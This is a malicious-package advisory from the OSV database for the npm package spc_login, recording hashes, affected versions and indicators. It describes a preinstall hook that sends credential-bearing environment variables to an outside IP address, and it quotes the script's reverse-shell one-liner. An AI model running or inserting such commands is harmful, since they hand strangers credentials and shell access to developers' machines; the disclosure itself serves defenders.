MAL-2026-15622

See a problem?
Import Source
https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/spc_login/MAL-2026-15622.json
JSON Data
https://api.osv.dev/v1/vulns/MAL-2026-15622
Published
2026-08-31T16:41:35Z
Modified
2026-08-31T17:30:12.740332465Z
Summary
Malicious code in spc_login (npm)
Details

-= Per source details. Do not edit below this line.=-

Source: amazon-inspector (e9a20e34373650f3fda40b9ea351c7ccb15ae98292cd159863cb26c0c33ff8c1)

package.json declares a preinstall hook ("node preinstall.js || true") that runs unconditionally on npm install. preinstall.js filters process.env for keys matching AWS|TOKEN|KEY|SECRET|PASS|API|GITHUB|NPM|DOCKER|DB|MONGO|REDIS|POSTGRES|MYSQL, bundles them with hostname, username, working directory, and CI context, base64-encodes the payload, and sends it via curl over plain HTTP to http://216.126.236.46/r.php. On non-Windows hosts the same script also executes a reverse-shell one-liner (bash -i >& /dev/tcp/216.126.236.46/4444 0>&1, with nc -e and python3 socket fallbacks), giving the operator of that endpoint interactive shell access to the installing machine. The package has no legitimate functionality; the only effect of installing it is credential harvest and remote code execution against the installer.

Database specific
{
    "malicious-packages-origins": [
        {
            "import_time": "2026-08-31T17:16:12.550178257Z",
            "source": "amazon-inspector",
            "versions": [
                "1.0.0"
            ],
            "id": "IN-MAL-2026-019155",
            "modified_time": "2026-08-31T16:41:35Z",
            "sha256": "e9a20e34373650f3fda40b9ea351c7ccb15ae98292cd159863cb26c0c33ff8c1"
        }
    ]
}
References
Credits

Affected packages

npm / spc_login

Package

Affected ranges

Affected versions

1.*
1.0.0

Database specific

source
"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/spc_login/MAL-2026-15622.json"
indicators
{
    "evidence_files": [
        {
            "path": "preinstall.js",
            "tlsh": "cb2140f1a2ba21948f624ad07796847a35fee3023721d9d02a2c515a8f42b6015f34ef",
            "sha256": "a91eb3cb8dd2dec3e595b16bf4353b5dfa84fc6cd052266c28c337268aaeb9e6"
        },
        {
            "path": "package.json",
            "tlsh": "c8d02b284918e03318dcc3e11a634146b09ace0f4058bd0c63970014479e33345ff21d",
            "sha256": "e207c96909f9867a8c87dcc9f3ed4a7ef73135a58eefd11de5f36b86d5fa38d5"
        }
    ],
    "package_integrity": [
        {
            "filename": "spc_login-1.0.0.tgz",
            "hashes": {
                "sha512_sri": "sha512-mOBIku7s3BGwgMnrX+rpclMr4OdE11bkjPg+ee+x6R4pgvee3UvVAxzXNsGQe4fmI5WAYBHZakOAnzAlS4e8vg==",
                "sha1": "ede7ac46818284b3429c36db990b5f2ff44f33da"
            }
        }
    ]
}
cwes
[
    {
        "description": "The product contains code that appears to be malicious in nature.",
        "cweId": "CWE-506",
        "name": "Embedded Malicious Code"
    }
]